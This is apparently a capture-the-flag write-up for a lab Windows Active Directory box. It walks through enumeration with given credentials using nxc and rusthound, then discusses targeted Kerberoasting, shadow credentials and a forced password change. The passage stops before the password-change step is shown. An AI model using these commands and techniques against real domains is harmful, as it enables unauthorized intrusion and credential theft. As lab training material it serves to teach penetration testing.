Overview
The machine starts by enumerating with given credentials discovering GenericWrite over Michael, so we perform targeted Kerberoasting that fails to crack, then change his password to find ForceChangePassword over Benjamin, changing his password to access FTP and retrieve a password safe file, cracking its master password to extract Emily's credentials and get a winrm shell, then abusing GenericWrite over Ethan to Kerberoast and crack his hash, using his DCSync rights to dump the Administrator hash and get shell as Administrator.
As is common in real life Windows
pentests, you will start the Administrator box with credentials for the following account: Username: Olivia Password:ichliebedich
Enumeration
As usual we're gonna start with nmap

and we got AD environment, DNS, LDAP, KRB, SMB, some RPC, and FTP so lets start with the given credentials
nxc smb 10.129.5.235 -u 'Olivia' -p 'ichliebedich'
SMB 10.129.5.235 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.5.235 445 DC [+] administrator.htb\Olivia:ichliebedich
always start with easy things and build you way up so test the given user against the easy win port which FTP in this case
nxc ftp 10.129.5.235 -u 'Olivia' -p 'ichliebedich'
FTP 10.129.5.235 21 10.129.5.235 [*] Banner: Microsoft FTP Service
FTP 10.129.5.235 21 10.129.5.235 [-] Olivia:ichliebedich (Response:530 User cannot log in, home directory inaccessible.)
Bloodhound data
It didn't work out but LDAP did so lets get bloodhound ingester running
rusthound -d administrator.htb -i 10.129.5.235 -u 'Olivia' -p 'ichliebedich' -z

RustHound Enumeration Completed at 07:36:51 on 05/31/26! Happy Graphing!
and as we can see the given user got generic all over the user michael
we can try 3 different attacks
- targeted Kerberoasting → setup an account to be kerberoastable then kerberoast it
- Shadow Credentials attack → abuse
msDs-KeyCredentialLinkattribute i guess to add our own public key to get authentication without password change - change password → should be your last resort in actual Pentest and must get client approval
Lets start with Kerberoasting, and as you can see because we can write to the user we can add a fake SPN to it and get a TGS-REP and extract the hash

we still need to crack that hash, so I will use hashcat with the mode 13100 for the krb5tgs etype23 which is for RC4 hashing algorithm I guess

and as you can see it didn't crack
the shadow creds attack doesn't work here cause there is no AD CS CA, the Shadow credential attack depends on the idea of certificate, PKINIT and public keys and there is no ADCS in place to provide those
User Michael
so lets try our last resort, password changing and see what that user can do
